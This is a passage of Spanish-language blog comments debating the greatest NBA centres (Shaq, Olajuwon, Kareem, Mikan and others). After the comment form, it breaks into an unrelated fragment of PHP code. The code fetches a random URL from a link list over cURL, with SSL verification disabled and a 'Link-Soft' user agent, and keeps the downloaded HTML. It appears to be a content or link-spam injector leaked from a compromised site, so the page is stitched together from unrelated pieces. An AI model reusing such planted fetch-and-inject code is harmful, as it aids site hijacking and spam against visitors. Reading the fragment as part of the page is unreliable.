    Yo no cambiaria a Van Exel o Eddie Jones por un Cassell o un Horry que eran rookies. Y si, aquellos Mavs eran mucho mejores que esos Pacers o los Spurs del primer anillo, lo que pasa es que jugaron en la época donde estaban 3 de los 5 mejores equipos de la historia.

    De la lista el que mas utilizaba el tiro de media distancia era Jabbar, o sacaba siempre el gancho a 2 metros del aro? Esos 3 lo utilizaron desde el principio, cuando sus físicos fueron fallando lo hicieron mas como no puede ser de otro modo. Y no tirar bien de media distancia no tiene nada que ver que con meter los tiros libres, ya que 7 de los 10 nombrados arriba tenian mas de un 70% en tiros libres.

    Y ya que dices que es falso que Shaq no tuvo que enfrentarse a ningun gran pivot en su camino hacia los 4 anillos, me gustaria saber con quienes si tuvo que enfrentarse, te recuerdo que en los Blazers de Sabonis, el mismo no llegaba a los 30 minutos por encuentro, igual que Robinson en la 00/01.

      Citar

  27. Jabho dice:
    #27

    Gran artículo y gran debate. Por aportar algo diría que hay un top-3 que son Jabbar, Russell y Chamberlain que hemos visto jugar poco o nada y que parecen intocables en el su olimpo. Muy igualados.

    Luego otros 4, que son Mikan,Olajuwon, Moe y Shaq que es subjetivo el orden y que se pueden encontrar argumentos para reordenarlos. Y luego el resto, al menos para mi.

    La pena con Shaq es que pensamos que marcaría una época del baloncesto y que estaría con los mejores. Y no lo ha conseguido y es el que tenía las condiciones para hacerlo, para dominar, para ser mucho mejor de lo que ha sido. Estoy con Viva, pudo pero no quiso.

      Citar

  28. TheDeerHunter dice:
    #28

    Por partes,
    las manos de Shaq son más grandes que las de Gasol y Sabonis. Me parece evidente. No tengo datos, no obstante.
    Lo de los tiros libros eres tú mismo el que se responde. Matándose a trabajar, sólo un 60%… para él no merecía la pena tanta inversión de tiempo y es algo que se entiende perfectamente. Al final los importantes los metía, que se lo digan a Popovic y el desarrollo de su juego sí fue patente en otros sentidos (no era el tiro de 5m, pero si era un gancho de lo más eficaz que he visto) Estoy de acuerdo con que da la sensación de que habría podido hacer más del que hizo y así lo reflejé en el artículo, pero no estamos valorando ni lo que podía haber sido y no fue, ni la ambición o las declaraciones de Shaq. Con todo lo que le puedas reprochar sólo puedes elucubrar sobre aspectos externos a ambos para poder siquiera comparar ambas carreras. Sin esas expeculaciones tan dudosas sobre si los Sonics de Kemp eran mejores que los Spurs de Duncan y Robinson o si Van Exell, Campbell y Eddie Jones tenían más carácter ganador que Horry, Cassell y Mario Ellie no hay debate en ese sentido.
    A mí esos detalles me dan absolutamente igual. Si Olajuwon sufrió rivales imbatibles y compañeros tan paquetes peor para él. Shaquille gana.
    Parece que haya que echarle la culpa a él de lo que hicieran otros pívots en playoffs… Y te olvidas de Mutombo, que para otros debates sí lo pones como que era la ostia en barca como pívot… y defensivamente no te faltaría razón. Ya vimos por donde se pasaba Shaq la defensa de uno de los mejores defensores de los últimos 15 años. Más o menos por el mismo sitio que la del resto.

      Citar

  29. portu dice:
    #29

    Está muy trillado el “lo q podría haber sido Shaq”, se usan esos términos a total conveniencia de quien opina aplicándoselos a Shaq y no a otros… así q paso de entrar ahí. Lo recordaba Deer, estamos hablando de pívots, así q lo q debería primar es lo q hace el jugador cerca del aro, no?
    Tb contestando a Deer en cuanto al orden… pues me cuesta mucho ordenar a jugadores q no he visto, incluso dudo del 1er lugar de Kareem influenciado por sus últimos años q son los q sí pude ver en directo, así q lo de sobrevalorar a Hakeem o Ewing era únicamente en pocas posiciones, qui´zas sí subiría algo a Parish y Robinson y simplemente pondría a Shaq por encima de Hakeem. Como tb se ha comentado, aún sin haberlos visto en directo, parece q Chamberlain y Russell son intocables, en conjunto con la supremacía de Kareem, pero meter a Mikan me parece q nos hace hablar casi q de otro deporte… se me antoja complicadísimo esto de las listas, sobretodo valorar individualidad frente a resultados colectivos.

      Citar

  30. TheDeerHunter dice:
    #30

    Pensaba dejar el debate por terminado… pero el último comentario sobre Mikan y las dudas que genera y mi propia investigación sobre determinados jugadores me obligan a decir algunas cosillas más.
    Para empezar, insistir en que esto de las listas es un ejercicio de especulación y de fantasía. No pueden tener nunca el mínimo de rigor como para considerarlas precisas. Todo es muy opinable y todos valoramos unos argumentos más que otros… además, como decís a quien no has visto jugar sólo puedes guiarte por una simple tabla estadística que puede variar muchísimo según las circunstancias.
    ¿Qué sentido tienen entonces? Que especular y debatir siempre es divertido, no tiene mucha más trascendencia… y que las listas permiten conocer más profundamente el juego. Es imposible evaluar a los jugadores actuales sin tener en cuenta hasta donde ha podido llegar sus predecesores. Nos alucina, por poner un ejemplo, ver a “Superman” Howard hacer las bestialidades que hace y luego ves que antes de él un tipo con 1,96 se cascaba una temporada de 40 puntos y 20 rebotes de promedio, o le vemos hincar la rodilla en la final de este año y no recordamos que a Shaq también le pasó a la misma edad… esto relativiza mucho todo. Y también nos hace apreciar las cosas en una medida más justa.
    Particularmente me permite descubrir gente que no conocía y redescubrir a otros que sí llegué a ver. Y eso que de los pívots ya conocíamos a casi todos… ya veréis ya lo que viene…

    Pero a lo que iba sobre Mikan. Otro deporte… para nada. Es este mismo deporte que, como decimos en el artículo no hubiera sido así sin él. Pero un caso más sangrante todavía y de la misma quinta, Arizin (porque al fin y al cabo Mikan se valía mucho del físico increíble) El señor Arizin es ni más ni menos quien popularizó el tiro en suspensión. Un alero espectacular de 25 puntos 8 rebotes, con sólo 1,93 de estatura. Dominador desde la línea exterior… en los años 50!!! ¿qué hacemos?? Si sólo su aportación tiene más valor que un puñado de anillos. ¿No le tenemos en cuenta por haber nacido cuando nació?? ¿Hiciera lo que hiciera no le damos ningún valor?? ¿Y dónde ponemos el filtro de fecha?? ¿en los 50? ¿en los 60? No lo podría ni plantear. Pero si era el puto amo de la galaxia, hace falta una visión y un talento casi sobrenaturales para remar contra corriente contra todo lo establecido como bueno… como para no tenerlo en cuenta por ser “otro deporte”. Eso sí sería , incoherente, injusto y muy grave. Lo mismo con Mikan, por supuesto.

    Por cierto… me llama la atención Portu que digas que dudas del primer lugar de Kareem por lo que vimos en sus últimos años. ¡Pero tío, si vimos que con 38 tacos se comió a los Celtics vivos y fue MVP de las finales!!!! ¡Con 38 tacos, colega!!!! ¡A los Celtics de Ainge, Dennis Johnson, Bird, McHale, Parish, Walton que era la bomba de equipo!!!! Y lo vimos por la tele aquí con Trecet y Salaner y todo el percal… ¿Hemos visto 25 años después algo similar en toda nuestra vida??? ¿Crees que lo veremos próximamente?? ¿Hubo algo parecido sobre lo que hayamos podido tener noticias antes?? Diría que no a todo.

      Citar

  31. Ivan Cortazar dice:
    #31

    tendria que haber un año, una fecha, que divida dos periodos en la NBA. Ya que los cambios fueron demasiados, en tecnica, en fisico, etc.
    A mi gusto vendria bien comparar a los jugadores del siglo XXI ente si, y dejar de lado la mezcla que se crea al juntar a jugadores distintos en todos los sentidos.

      Citar

  32. @lex dice:
    #32

    hola a todos, me parece que al realizar este tipo de listas ademas de tener en cuenta los numeros tenemos que tomar en cuenta lo que cada jugador nos ha dejado…. por tomar un ejemplo lei a alguien escribir sobre la “explosividad” de sahq, eso es lo que a muchos nos viene a la cabeza cuando escuchamos su nombre, asi es como sera recordado… mas alla de su pauperrimo lanzamiento de tiros libres, creo que ese tipo de cosas son las que perduraran en el tiempo… es el legado que dejan asi como todos en la vida

      Citar

  33. Ekos dice:
    #33

    Estaría bien repetir todas estas listas a final de año, a ver que saldría esta vez jejeje.

      Citar

  34. Daniel dice:
    #34

    Con las listas ocurre siempre lo mismo. Levantan polémica sea cual sea el resultado. No es posible contentar a todo el mundo. Cada persona que elabora una lista lo hace en función de sus gustos, conocimientos, mentalidad. Toda elección significa renuncia además. Cada cual hace las cosas a su modo y puede explicar o debería los diferentes porqués.

    George Mikan fue un jugador fundamental en su época. Sus habilidades, fortaleza y altura eran lo suficientemente reseñables como para marcar y condicionar el juego en el tiempo en el que jugó. Lo que hizo es como para considerarlo como uno de los más importantes y mejores pívots de todos los tiempos. Lo que ocurre es que comparar estilos y eras es sumamente difícil. Pero de hacerlo -algo que es divertido y apasionante- ¿cómo lo haríamos?. Como decía Bill Russell -otro de los grandes- al querer ser comparado con Shaquille O’Neal: “¿en qué época? ¿en la suya o en la mía? ¿con sus reglas o con las de mi época?”. Generalmente toda comparación tiende a hacerse desde la óptica del presente pero y si no la hiciéramos así. Oscar Robertson decía que Michael Jordan no podría jugar como lo hizo en la época en la que jugó Big O.

    Se trata de pasar un rato divertido. Debatir, rebatir, polemizar. Cada uno hizo lo que hizo en su momento. De no verlos enfrentarse entre sí toda especulación se queda en eso…¡pero cómo nos gusta!

      Citar

  35. Daniel dice:
    #35

    Otro argumento más para reforzar la importancia de Mikan es que en la primera temporada de la liga -aún no había llegado él que lo haría en 1948- en 1946-47 había dos jugadores de, nada menos, que 2’17 metros de altura -a Mikan la NBA le da oficialmente 2’09- que…¡desaparecieron de la misma la temporada siguiente! Está claro que lo de George Mikan no era sólo una cuestión de centímetros.

      Citar

  36. TheDeerHunter dice:
    #36

    Muchas gracias por tus constructivos comentarios, Daniel.

    Mikan es imprescindible en la historia de la liga… y creo q de alguna manera así lo consideramos en su día, situándolo por encima de monstruos como robinson, ewing, walton, unseld…ha habido mucho y bueno en la posición.

    A mi modo de ver le perjudica en las comparaciones el paso del tiempo y una carrera tan corta. Como dices todo esto tiene siempre un punto muy injusto.

      Citar

  37. Daniel dice:
    #37

    Bien es cierto que cuando Mikan volvió -tras su retiro para impartir clases de derecho en la universidad durante un año- la NBA ya había puesto en marcha el límite de tiempo de posesión del balón con los famosos 24 segundos. Como sabemos esto fue en 1954. Justo la temporada siguiente a la temporal retirada de Mikan. Él volvió en 1955…y no se adaptó. El juego era demasiado rápido para él, acostumbrado a que los Lakers controlaran el balón esperando el mejor momento para que recibiera y anotara. Sin embargo, como hemos dicho, lo hecho antes hecho estaba. Su influencia en el juego y en su época fue indiscutible. La NBA no se podía olvidar de George Mikan cuando en 1996, en el 50 aniversario de la liga, eligiera a los 50 mejores jugadores de ese período. No hubiera sido justo. Si jugara hoy día se tendría que adaptar. Sin duda. Pero esa es otra historia.

      Citar

  38. Daniel dice:
    #38

    Y gracias a ti TheDeerHunter por contestar y por supuesto por el blog.

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>